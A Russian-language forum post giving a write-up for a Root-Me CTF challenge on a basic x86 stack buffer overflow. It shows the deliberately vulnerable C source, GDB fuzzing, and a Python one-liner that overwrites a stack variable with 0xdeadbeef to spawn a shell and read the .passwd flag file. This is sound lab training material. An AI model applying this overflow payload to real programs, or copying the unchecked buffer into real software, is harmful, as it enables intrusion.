CTF Root-Me, App-System, ELF x86 - Stack buffer overflow basic 1

fuzzz

Green Team
03.02.2019
249
470
BIT
2
App-System, ELF x86 - Stack buffer overflow basic 1


Environment configuration :


PIEPosition Independent Executable
valide
RelRORead Only relocations
valide
NXNon-Executable Stack
valide
Heap execNon-Executable Heap
valide
ASLRAddress Space Layout Randomization
valide
SFSource Fortification
valide
SRCSource code access
valide

Source code:
C:
#include <stdlib.h>
#include <stdio.h>

/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/


int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

Решение
Очень простое задание. Без харденинг защит да и к тому же есть исходный код. Суть задачи переполнить буфер и перезаписать переменную check к конкретную значению, а именно к значению "0xdeadbeef" после чего откроется шелл и можно будет получить флаг.

Запускаем отладчик GDB. Переполняем буфер и перезаписываем значение переменной.

gdb -q ./ch13 r AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ q

29464


Видно такую конструкцию

[buf]: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK [check] 0x4b4b4b4b

эти данные говорят

[buf] что это та строчка которая влезла в буфер и за его пределы
[check] текущие значение переменной

Запустим Python чтобы вычислить размер строки и для того, чтобы узнать что это за значение хранится в переменной check.

python len("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK") chr(0x4b) quit()

29465



Видно и становится ясно, что это 0x4b4b4b4b == "KKKK"


По условию задания check должен быть значению 0xdeadbeef тогда откроется шелл, после чего можно получить флаг.

Составим эксплойт.

40 байт пойдут в буфер, а следующие 4 на перезапись переменной check куда мы положим значение 0xdeadbeef.

Чтобы не мучатся, адреса воспользуемся модулем struct.

(python -c 'from struct import pack;print "A"*40 + pack("I",0xdeadbeef)';cat) | ./ch13

затем с помощью cat узнаем содержимое .passwd
cat .passwd

Сtrl+D- выход.

29466


Вот таким образом можно получить флаг.
 
  • Нравится
Реакции: genios и r4bb1t
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!